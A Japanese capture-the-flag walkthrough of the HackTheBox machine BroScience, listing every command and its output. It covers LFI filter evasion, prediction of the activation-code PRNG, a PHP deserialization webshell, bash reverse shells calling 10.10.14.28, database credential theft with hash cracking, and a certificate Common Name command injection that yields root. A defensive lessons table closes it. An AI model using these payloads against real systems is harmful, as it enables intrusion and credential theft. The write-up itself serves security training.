HackTheBox: BroScience — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443、broscience.htb
→
22/80/443、broscience.htb
img.php LFI
二重URLエンコードで検知回避
→
二重URLエンコードで検知回避
srand(time()) 予測PRNG
有効化コード総当たり
→
有効化コード総当たり
PHP Object Injection
AvatarInterface::__wakeup()
→
AvatarInterface::__wakeup()
www-data シェル取得
→
PostgreSQL ハッシュ
hashcat -m 20
→
hashcat -m 20
user.txt ✓
→
openssl CN 二重展開
Bashコマンドインジェクション
→
Bashコマンドインジェクション
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -p- --min-rate 5000 -oN nmap/allports.txt 10.129.228.129 nmap -sV -sC -p 22,80,443 -oN nmap/initial.txt 10.129.228.129
RESULT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
| ssl-cert: Subject: commonName=broscience.htb
|_http-title: BroScience : Home
BASH
echo "10.129.228.129 broscience.htb" | sudo tee -a /etc/hosts
ℹ️
ジム(筋トレ)をテーマにした Web アプリ「BroScience」。ログイン機能があるが
共通の管理者資格情報は通らず、新規登録すると「アクティベーションメールを
送信した」というメッセージのみで、実際のメールにはアクセスできない。
PHASE 2
img.php の LFI & アクティベーションコードの予測
img.php の Local File Inclusion 発見
NOTE
ページのソースを見ると画像は includes/img.php?path=bench.png のように 呼び出されており、path パラメータへ任意パスを指定できる可能性がある。
BASH
curl -k 'https://broscience.htb/includes/img.php?path=../../../../../../etc/passwd'
RESULT
<b>Error:</b> Attack detected.
⚠️
単純なパストラバーサルは検知フィルターにブロックされる。二重 URL エンコード
(
..%252F) でフィルターを回避できる。
BASH
curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd' | grep -e '/bin/bash'
RESULT
root:x:0:0:root:/root:/bin/bash
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
アプリソースの取得 & utils.php の解析
BASH
curl -k 'https://broscience.htb/includes/img.php?path=..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fhtml%252Fincludes%252Futils.php'
NOTE (utils.php 抜粋)
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
🚨
重要発見: アクティベーションコードの生成に
srand(time())
という予測可能な PHP 疑似乱数生成器が使われている。
サーバー時刻(unix epoch)さえ分かれば、同じロジックをローカルで再現して
コードを事前に計算できる。
アカウント登録 & サーバー時刻の取得
NOTE
新規登録リクエストを送信し、レスポンスの Date ヘッダーからサーバー時刻を 取得する(BurpSuite等でインターセプト)。今回は Date: Mon, 09 Jan 2023 12:48:18 GMT → unix epoch 1673269358。
PYTHON (再現用PHPスクリプト呼び出し)
<?php
function generate_activation_code($t) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($t);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
$t_start = (int)$argv[1];
for ($t = $t_start - 5; $t <= $t_start + 5; $t++) {
echo generate_activation_code($t) . "\n";
}
?>
BASH
php generate_activation_code.php 1673269358 | tee activation_codes.txt
ℹ️
PHP のバージョン依存に注意: PHP 7.1 以降の
mt_rand()系実装は
シード処理が変わっているため、Python での再実装はリスクが高い。実際に
ターゲットで動いているのと同じ php CLI をそのまま呼び出して
ロジックを忠実に再現するのが安全。サーバー時刻の誤差を考慮し ±5秒 の
候補コードを生成する。
ffuf で有効化コードを総当たり
BASH
ffuf -w activation_codes.txt -u 'https://broscience.htb/activate.php?code=FUZZ' -k --fs 1256
RESULT
V8iBG2noBR7NKzPtGH1DwU0LtGhuEfcf [Status: 200, Size: 1251, ...]
✅
アカウント有効化成功! 候補11個のうち1個がヒットし、
登録したアカウントでログインできるようになった。
PHASE 3
PHP Object Injection (AvatarInterface ガジェットチェーン)
user-prefs Cookie のシリアライズオブジェクトを発見
NOTE (utils.php 抜粋)
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie)); // ← 検証なし unserialize()
return $up->theme;
}
...
}
class Avatar {
public $imgPath;
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp)); // $tmp を読み $imgPath へ書く
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp); // unserialize() 直後に自動発火
}
}
🚨
脆弱性の核心: ログイン中の
user-prefs Cookie は
検証なしで unserialize() される。AvatarInterface
をシリアライズしてこの Cookie に仕込むと、デシリアライズ直後に
__wakeup() → Avatar::save()が発火し、
任意ファイルのコピー($tmpから読んで
$imgPathへ書く)が可能になる。
ユーザー名を PHP ペイロードに変更
NOTE
PHP のセッションファイルにはユーザー名などのセッション変数がそのまま 平文で保存される。ユーザー名を Webシェルのコードに変更しておけば、 セッションファイル自体を Webルート配下に .php としてコピーするだけで コード実行が成立する。
BASH (Edit User フォームから)
# Edit User フォーム(実際のエンドポイントは update_user.php、 # hidden の id フィールドで自分の user id を指定する必要がある) # New username に以下を入力して送信: <?=exec($_GET[melo])?>
⚠️
ハマりどころ: Edit User フォームの実際の POST 先は
画面上は明示されておらず、ページソースを確認すると
<form method="POST" action="update_user.php">で、
hidden の id フィールド(ログイン中ユーザー自身の
user id)も一緒に送信しないと、どのユーザーを更新すべきか判別できず
更新が反映されない。また更新後の表示名はナビバーで
htmlspecialchars()相当のエスケープがかかるため、
画面上は正しく<?=...?>と見えても生 HTML 上では
<?=...?>になる点に注意(実際のPHPセッション
ファイルには生の文字列がそのまま保存されるため実害はない)。
BASH
# PHPSESSID を Cookie から確認 (例: 3g99o1tq6tmfaate6didfqev0o)
PHP Object Injection ペイロードの作成
PHP
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) { $this->imgPath = $imgPath; }
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$a = new AvatarInterface();
$a->tmp = "/var/lib/php/sessions/sess_3g99o1tq6tmfaate6didfqev0o";
$a->imgPath = "/var/www/html/cmd.php";
echo base64_encode(serialize($a)) . "\n";
?>
BASH
php serialise_payload.php
RESULT
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czo1MzoiL3Zhci9saWIvcGhwL3Nlc3Npb25zL3Nlc3NfM2c5OW8xdHE2dG1mYWF0ZTZkaWRmcWV2MG8iO3M6NzoiaW1nUGF0aCI7czoyMToiL3Zhci93d3cvaHRtbC9jbWQucGhwIjt9
Cookie を差し替えてガジェットチェーンを発火
BASH
# ホームページへのリクエストを Burp 等で拦截し、user-prefs Cookie を # 上記の base64 ペイロードに置き換えてフォワードする
BASH (確認)
curl -k https://broscience.htb/cmd.php
RESULT
id|s:1:"6";username|s:22:"";is_admin|s:1:"0";
✅
ファイルコピー成功! PHP セッションファイルの内容が
cmd.php としてそのままコピーされた(この時点では
ユーザー名部分が空 — 反映タイミングにより多少ずれる場合がある)。
BASH
curl -k https://broscience.htb/cmd.php?melo=id
RESULT
id|s:1:"6";username|s:22:"uid=33(www-data) gid=33(www-data) groups=33(www-data)";is_admin|s:1:"0";
✅
RCE成功!
cmd.php?melo=<コマンド>で
任意コマンドを実行できる Webシェルが設置された。
リバースシェルの取得
BASH
nc -nvlp 4444
BASH (URLエンコード済みペイロード)
curl -k "https://broscience.htb/cmd.php?melo=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.28%2F4444%200%3E%261%27"
RESULT
connect to [10.10.14.28] from (UNKNOWN) [10.129.228.129] 59440
www-data@broscience:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
BASH (TTY化)
python3 -c 'import pty;pty.spawn("/bin/bash")';
PHASE 4
DB 資格情報の窃取 & user.txt
db_connect.php から PostgreSQL 資格情報を取得
BASH
www-data@broscience:/var/www/html$ cat includes/db_connect.php
RESULT
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
PostgreSQL 接続 & users テーブルのダンプ
BASH
psql -h localhost -p 5432 --username=dbuser -W broscience # Password: RangeOfMotion%777 broscience=> select username,password from users;
RESULT
username | password ----------------+---------------------------------- administrator | 15657792073e8a843d4f91fc403454e1 bill | 13edad4932da9dbb57d9cd15b66ed104 michael | bd3dad50e2d578ecba87d5fa15ca5f85 john | a7eed23a7be6fe0d765197b1027453fe dmytro | 5d15340bded5b9395d5d14b9c21bc82b
ℹ️
パスワードは MD5(password + salt) で、salt は
db_connect.php
に記載の NaCl。
hashcat -m 20 (md5($pass.$salt)) でクラック
BASH
# hashes.txt::NaCl の形式で保存 hashcat -m 20 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 20 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
RESULT
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
✅
3件クラック成功。ホームディレクトリを持つのは
bill のみ
(他は Web アプリ上だけのアカウント)のため、bill:iluvhorsesandgym
で SSH ログインを試みる。
SSH ログイン & user.txt 取得
BASH
ssh bill@10.129.228.129 # Password: iluvhorsesandgym bill@broscience:~$ cat user.txt
RESULT
uid=1000(bill) gid=1000(bill) groups=1000(bill)
2f57317e0a2c1bd89522c142f4f7fa80
user.txt — bill@broscience
2f57317e0a2c1bd89522c142f4f7fa80
PHASE 5
pspy によるプロセス監視 & cronjob の発見
pspy でバックグラウンドプロセスを監視
BASH
bill@broscience:/tmp$ ./pspy64
RESULT
2023/01/10 04:14:01 CMD: UID=0 PID=29438 | /usr/sbin/CRON -f
2023/01/10 04:14:01 CMD: UID=0 PID=29440 | /bin/bash /root/cron.sh
2023/01/10 04:14:01 CMD: UID=0 PID=29442 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
⚠️
pspy はタイミングによって不安定になることがある。ハングした場合は
Ctrl+Z で一時停止して
--debug オプション付きで再実行するとよい。
/opt/renew_cert.sh のソース解析
NOTE (renew_cert.sh 抜粋)
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet."
exit 1
fi
...
commonName=$(openssl x509 -in $1 -noout -subject | ...) # CN を抽出
...
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
🚨
脆弱性の核心: 証明書の Common Name (CN) の値が
検証なしで
bash -c "..." の二重展開されるコマンド文字列に
埋め込まれる。外側のダブルクォート文字列内で変数展開された CN の
値に $(...) が含まれていると、内側の bash -c が
それを再度コマンド置換として実行してしまう典型的な二重シェル展開の脆弱性。
このスクリプトは /home/bill/Certs/ 配下の証明書を root cron
(1分間隔)がチェックし、有効期限が24時間(86400秒)以内に迫っている
(=これから切れる)証明書だけを処理する。
PHASE 6
openssl CN 二重展開コマンドインジェクション → root.txt
悪意ある証明書の生成
NOTE
-days 1 を指定してチェックの86400秒以内条件を満たしつつ、CN に ペイロードを仕込む。ただし openssl の -subj オプションは "/" を RDN(識別名)の区切り文字として解釈するため、"/dev/tcp/..." のような スラッシュを含むペイロードを -subj に直接渡すと "Hit end of string before finding the equals." で失敗する。 対話式プロンプト経由でCNを入力すれば、スラッシュはそのまま1つの フィールド値として扱われるため問題なく通る。
BASH
bill@broscience:/tmp$ openssl req -x509 -sha256 -nodes -days 1 \ -newkey rsa:4096 -keyout /dev/null -out broscience.crt # プロンプトが表示されたら、最初の5項目はEnterでスキップし、 # Common Name の欄に以下を入力: $(bash -c 'bash -i >& /dev/tcp/10.10.14.28/4444 0>&1')
RESULT
Country Name (2 letter code) [AU]: State or Province Name (full name) [Some-State]: Locality Name (eg, city) []: Organization Name (eg, company) [Internet Widgits Pty Ltd]: Organizational Unit Name (eg, section) []: Common Name (e.g. server FQDN or YOUR name) []:$(bash -c 'bash -i >& /dev/tcp/10.10.14.28/4444 0>&1') Email Address []:
証明書を配置し cron 実行を待つ
BASH
bill@broscience:/tmp$ mkdir -p /home/bill/Certs mv broscience.crt /home/bill/Certs/broscience.crt # 別ターミナルでリスナー起動 nc -nvlp 4444
RESULT (nc リスナー側、最大1分待ち)
listening on [any] 4444 ... connect to [10.10.14.28] from (UNKNOWN) [10.129.228.129] 55922 bash: cannot set terminal process group (29746): Inappropriate ioctl for device bash: no job control in this shell root@broscience:~# id uid=0(root) gid=0(root) groups=0(root)
✅
root権限取得成功! root cron が
renew_cert.shを
実行 → CN の値を bash -c "mv ... $commonName.crt"へ埋め込む際、
$commonNameに含まれる $(...)が二重展開されて
root権限でリバースシェルが実行された。
BASH
root@broscience:~# cat /root/root.txt
RESULT
0a5770b850c3044238833959d8199069
root.txt — root@broscience
0a5770b850c3044238833959d8199069
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — bill@broscience
2f57317e0a2c1bd89522c142f4f7fa80
root.txt — root@broscience
0a5770b850c3044238833959d8199069
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LFI (フィルター回避) | includes/img.php | ソースコード漏洩 | Medium | 二重URLエンコードでパストラバーサル検知フィルターを回避しutils.php等を読取 |
| 予測可能PRNG | アカウント有効化コード生成 | 認証バイパス | High | srand(time())をサーバーDate ヘッダーから逆算し候補コードを総当たり |
| PHP Object Injection | user-prefs Cookie (unserialize) | リモートコード実行 (www-data) | Critical | AvatarInterface::__wakeup()ガジェットでPHPセッションファイルをWebルートへコピーしWebシェル化 |
| openssl CN 二重展開コマンドインジェクション | /opt/renew_cert.sh (rootのcron) | 権限昇格 (root) | Critical | 証明書CNに$(...)を仕込み、bash -c の二重展開で任意コマンドをroot権限実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + BroScience Webアプリ発見 | 22/80/443、broscience.htb |
| 2 | LFI + PRNG予測 | 二重URLエンコード + srand(time())再現 | utils.php漏洩、アクティベーションコード的中 |
| 3 | PHP Object Injection | AvatarInterfaceガジェット + セッションファイル窃取 | www-data Webシェル/リバースシェル |
| 4 | 権限昇格1 | DB資格情報 + hashcat -m 20 | user.txt (bill:iluvhorsesandgym) |
| 5 | 下調べ | pspy によるcronjob発見 | /opt/renew_cert.shの脆弱性発見 |
| 6 | 権限昇格2 | openssl CN二重展開インジェクション | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| LFI検知フィルターが単純なパストラバーサル文字列しかブロックせず、二重URLエンコードで容易に回避できる | ホワイトリスト方式でファイル名を検証し、パス正規化(realpath等)後に許可ディレクトリ内かを確認する。 |
| セキュリティ用途のトークン生成に予測可能なPRNG(srand(time()))を使用 | random_bytes()やrandom_int()等の暗号学的に安全な乱数生成関数を使用する。 |
| ユーザー制御可能なCookieを検証なしでunserialize()している | 信頼できない入力に対してunserialize()を使わない。JSON等の安全なシリアライズ形式を使用する。 |
| 証明書のCommon Nameのようなユーザー/外部由来の値を検証せずシェルコマンド文字列に二重展開の形で埋め込んでいる | シェルコマンドへの変数埋め込みを避け、配列引数形式のAPI(execve系)を使う。どうしても文字列結合が必要な場合は厳格な入力検証とエスケープを行う。 |

